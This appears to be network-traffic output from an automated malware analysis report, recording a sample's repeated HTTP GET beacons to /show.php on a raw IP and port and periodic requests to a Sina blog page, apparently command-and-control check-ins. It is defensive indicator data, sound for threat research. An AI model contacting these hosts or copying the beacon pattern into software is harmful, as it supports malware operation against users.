Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
